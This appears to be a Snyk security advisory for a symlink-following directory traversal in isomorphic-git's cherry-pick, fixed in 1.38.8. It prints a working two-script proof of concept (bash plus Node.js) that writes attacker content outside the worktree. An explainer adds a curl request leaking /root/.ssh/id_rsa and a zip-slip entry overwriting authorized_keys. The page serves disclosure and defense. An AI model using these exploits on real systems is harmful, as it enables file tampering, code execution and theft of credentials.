Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade isomorphic-git to version 1.38.8 or higher.
isomorphic-git is a pure JavaScript reimplementation of git that works in both Node.js and browser JavaScript environments. It can read and write to git repositories, fetch from and push to git remotes (such as GitHub), all without any native C++ module dependencies.
Affected versions of this package are vulnerable to Directory Traversal via applyTreeChanges in src/utils/walkerToTreeEntryMap.js, which materializes files during git cherry-pick by joining the worktree root with the entry path and writing blob contents without checking whether any leading path component is a symbolic link. If the victim worktree contains a tracked symlink pointing outside the worktree, an attacker who controls a cherry-picked commit can place a file beneath that symlink path, causing the write to follow the symlink and materialize attacker-controlled content at an arbitrary filesystem location. This can enable data tampering, code injection into interpreted files, privilege escalation, or follow-on code execution depending on the target path. The regular checkout path protects against this with assertNoSymlinkInLeadingPath, but that guard was not applied in applyTreeChanges.
#!/usr/bin/env bash set -euo pipefailREMOTE_URL='ssh://git@127.0.0.1:222/admin/test-repo.git' BRANCH='isomorphic-poc' TARGET_DIR='/' MARKER_NAME='isomorphic-git-poc-01' MARKER_CONTENT='pwned by isomorphic-git' BUILD_BASE='./isogit-poc' REPO_DIR="$BUILD_BASE/repo"
OIDS_FILE="$(cd "$(dirname "$0")" && pwd)/poc-oids.env"
export GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'
log() { echo "[+] $*" >&2; }
reset_remote_branch() { local path="$1" git init "$path" -q -b main git -C "$path" commit --allow-empty -m reset -q git -C "$path" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1 }
git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid
git_commit() { local repo="$1" tree="$2" parent="${3:-}" local now tz author body_file oid now=$(date +%s) tz=$(date +%z) author="attacker <attacker@example.com> ${now} ${tz}" body_file=$(mktemp) { echo "tree $tree" [ -n "$parent" ] && echo "parent $parent" echo "author $author" echo "committer $author" echo echo "poc" } > "$body_file" oid=$(git -C "$repo" hash-object -w -t commit --stdin < "$body_file") rm -f "$body_file" echo -n "$oid" }
main() { mkdir -p "$BUILD_BASE" local tmp_reset tmp_reset=$(mktemp -d) trap 'rm -rf "${tmp_reset:-}" "$BUILD_BASE"' EXIT
reset_remote_branch "$tmp_reset" log "reset remote branch $BRANCH"
rm -rf "$REPO_DIR" mkdir -p "$REPO_DIR" git init "$REPO_DIR" -q -b main ln -s "$TARGET_DIR" "$REPO_DIR/link" git -C "$REPO_DIR" add link git -C "$REPO_DIR" commit -q -m 'init symlink' local head_oid head_oid=$(git -C "$REPO_DIR" rev-parse HEAD)
Build the malicious tree: link/tmp/<marker>.
local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid blob_oid=$(echo -n "$MARKER_CONTENT" | git -C "$REPO_DIR" hash-object -w --stdin) file_tree_oid=$(echo "100644 blob $blob_oid $MARKER_NAME" | git -C "$REPO_DIR" mktree) sub_tree_oid=$(echo "040000 tree $file_tree_oid tmp" | git -C "$REPO_DIR" mktree) mal_tree_oid=$(echo "040000 tree $sub_tree_oid link" | git -C "$REPO_DIR" mktree)
mal_commit_oid=$(git_commit "$REPO_DIR" "$mal_tree_oid" "$head_oid") git -C "$REPO_DIR" update-ref refs/heads/main "$mal_commit_oid" git -C "$REPO_DIR" push --force "$REMOTE_URL" "main:$BRANCH" >/dev/null 2>&1 log "pushed malicious commit $mal_commit_oid"
cat > "$OIDS_FILE" <<EOF HEAD_OID=$head_oid MAL_COMMIT_OID=$mal_commit_oid EOF }
main "$@"
const fs = require('fs') // Install isomorphic-git v1.38.7 locally before running this PoC: // npm install --no-save isomorphic-git@1.38.7 const { default: git } = require('isomorphic-git')const REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git' const BRANCH = 'isomorphic-poc' const VICTIM_DIR = './victim' const OIDS_FILE = __dirname + '/poc-oids.env'
function loadOids() { if (!fs.existsSync(OIDS_FILE)) { console.error(
[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)) process.exit(2) } const env = {} for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\n')) { const m = line.match(/^([A-Z_]+)=(.*)$/) if (m) env[m[1]] = m[2] } if (!env.HEAD_OID || !env.MAL_COMMIT_OID) { console.error([-] oids file missing HEAD_OID or MAL_COMMIT_OID) process.exit(2) } return env }async function main() { const { HEAD_OID, MAL_COMMIT_OID } = loadOids()
fs.rmSync(VICTIM_DIR, { recursive: true, force: true }) fs.mkdirSync(VICTIM_DIR, { recursive: true })
console.log(
[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}) await git.clone({ fs, http: require('isomorphic-git/http/node'), dir: VICTIM_DIR, url: REMOTE_URL, ref: BRANCH, singleBranch: true, noCheckout: true, })console.log(
[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}) await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })console.log(
[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}) await git.cherryPick({ fs, dir: VICTIM_DIR, oid: MAL_COMMIT_OID, author: { name: 'poc', email: 'poc@example.com' }, committer: { name: 'poc', email: 'poc@example.com' }, })console.log('[+] done') }
main().catch(err => { console.error(err); process.exit(1) })
$ cat /tmp/isomorphic-git-poc-01
# pwned by isomorphic-git
Note: The PoC uses a two-step process: a bash script builds and pushes a malicious repository over SSH, then a Node.js script triggers the vulnerability by cloning and calling cherryPick using isomorphic-git v1.38.7.
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
Zip-Slip.One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys